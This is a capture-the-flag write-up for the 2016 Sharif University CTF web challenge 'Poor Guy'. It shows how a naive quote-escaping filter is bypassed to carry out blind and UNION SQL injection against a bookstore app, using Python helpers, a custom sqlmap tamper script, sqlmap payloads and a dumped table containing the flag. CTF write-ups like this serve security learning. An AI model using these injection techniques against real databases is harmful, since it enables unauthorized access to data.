##                       ##

########           ########

############   ############

 ###########   ########### 

   #########   #########   

"@_    #####   #####    _@"

#######             #######

############   ############

############   ############

############   ############

######    "#   #"    ######

 #####               ##### 

  #####             #####  

    ####           ####    

       '####   ####'       

D
O

N
O
T

F
E
E
D

T
H
E

B
U
G
S

Poor Guy

[Sharif University CTF, 2016]

category: web

by f0rki

  • Category: Web
  • Points: 150
  • Description:

I'm a poor guy. Please buy me the secret flag.

  • username: poorguy
  • password: withnomoney

Hint: SQL Injection

Hint 2: $input_escaped = str_replace("'","\'",$user_input);

Write-up

So we could log in to a bookstore and "buy" books if we had the serial number. We were pretty confident that it was a SQL injection but didn't get anything reasonable out with our queries. Only with the second hint we finally realized what the problem was.

$input_escaped = str_replace("'","\'",$user_input);

Now this is the poor mans version of addslashes and can be easily bypassed by prepending a \ to every '. This way \' turns to \\', which is an escaped backslash.

Problem with this is that it breaks all the strings in the queries. So we cannot really use such 'strings' in our query. This can be avoided by replacing literal strings with something likeCHAR(0x73)+CHAR(0x74)+CHAR(0x72)+CHAR(0x69)+CHAR(0x6e)+CHAR(0x67).

So we could achieve a blind SQL injection with the book_selection parameter. For example with the following input:

9780060878849\' or 1=1 and substring(@@version,1,1)=5 -- x

With the following python helpers I managed to extract a good deal of information out of the database, but got bored/annoyed by extracting tablesnames etc.

def view_book(book_selection):
    log.debug("payload: " + repr(book_selection))
    res = s.post('http://ctf.sharif.edu:8086/index.php',
                 data={'book_selection': book_selection})
    return res
def inject(pl):
    pl = r"1234\' " + pl
    return view_book(pl)
def char_encode(s):
    r = []
    for c in s:
        r.append("CHAR(0x{:x})".format(ord(c)))
    return "+".join(r)
def test_query(q):
    pl = r"1234\' or 1=1 and " + q + " -- x"
    for s in re.findall(r"[^\\]'(.+?)'", pl):
        # print(s)
        ns = char_encode(s)
        pl = pl.replace("'" + s + "'", ns)
    return "<img src" in view_book(pl).text.split("\n")[-10]

I turned to sqlmap for help, as all this tedious stuff is already impelmented there. Of course it wouldn't detect anything useful because it doesn't know about the custom filter function. So I wrote a custom tamper script to modify the payload, which then worked out.

#!/usr/bin/env python
import re
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
    pass
def char_encode(s):
    r = []
    for c in s:
        r.append("CHAR(0x{:x})".format(ord(c)))
    return "+".join(r)
def tamper(payload, **kwargs):
    for s in re.findall(r"[^\\]'(.+?)'", payload):
        ns = char_encode(s)
        payload = payload.replace("'" + s + "'", ns)
    # assert "'" not in payload, "nope nope " + repr(payload)
    return r"\' or 1=1 " + payload

sqlmap identified the following injection points

Parameter: #1* ((custom) POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: book_selection= AND SLEEP(5)-- uejC

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: book_selection=-5036 UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71767a7a71,0x486b646f6e65526d4679486976496a785a7975795778684a47784552524e4d6d4b4e72697070514a,0x7170
7a6a71),NULL-- SOWX

and dumped the table, which contained the flag

Database: book_shop
Table: books
[4 entries]
+---------+---------------------+---------------+------------+--------------------------------------+---------------------------------------------+
| book_id | book_name           | book_isbn     | is_premium | book_cover                           | book_serial                                 |
+---------+---------------------+---------------+------------+--------------------------------------+---------------------------------------------+
| 1       | Poor people         | 9780060878849 | 0          | .\\book covers\\poor people.png      | 123456                                      |
| 2       | Hacking for dummies | 9781118380932 | 0          | .\\book covers\\hack for dummies.jpg | 7890                                        |
| 3       | Secret flag         | 9788479536442 | 1          | .\\book covers\\secret flag book.jpg | SharifCTF{931b20ec7700a61e5d280888662757af} |
| 4       | Leading             | 9781473621640 | 0          | .\\book covers\\leading.jpg          | 239rj2if3r23re                              |
+---------+---------------------+---------------+------------+--------------------------------------+---------------------------------------------+
/writeups/ $

$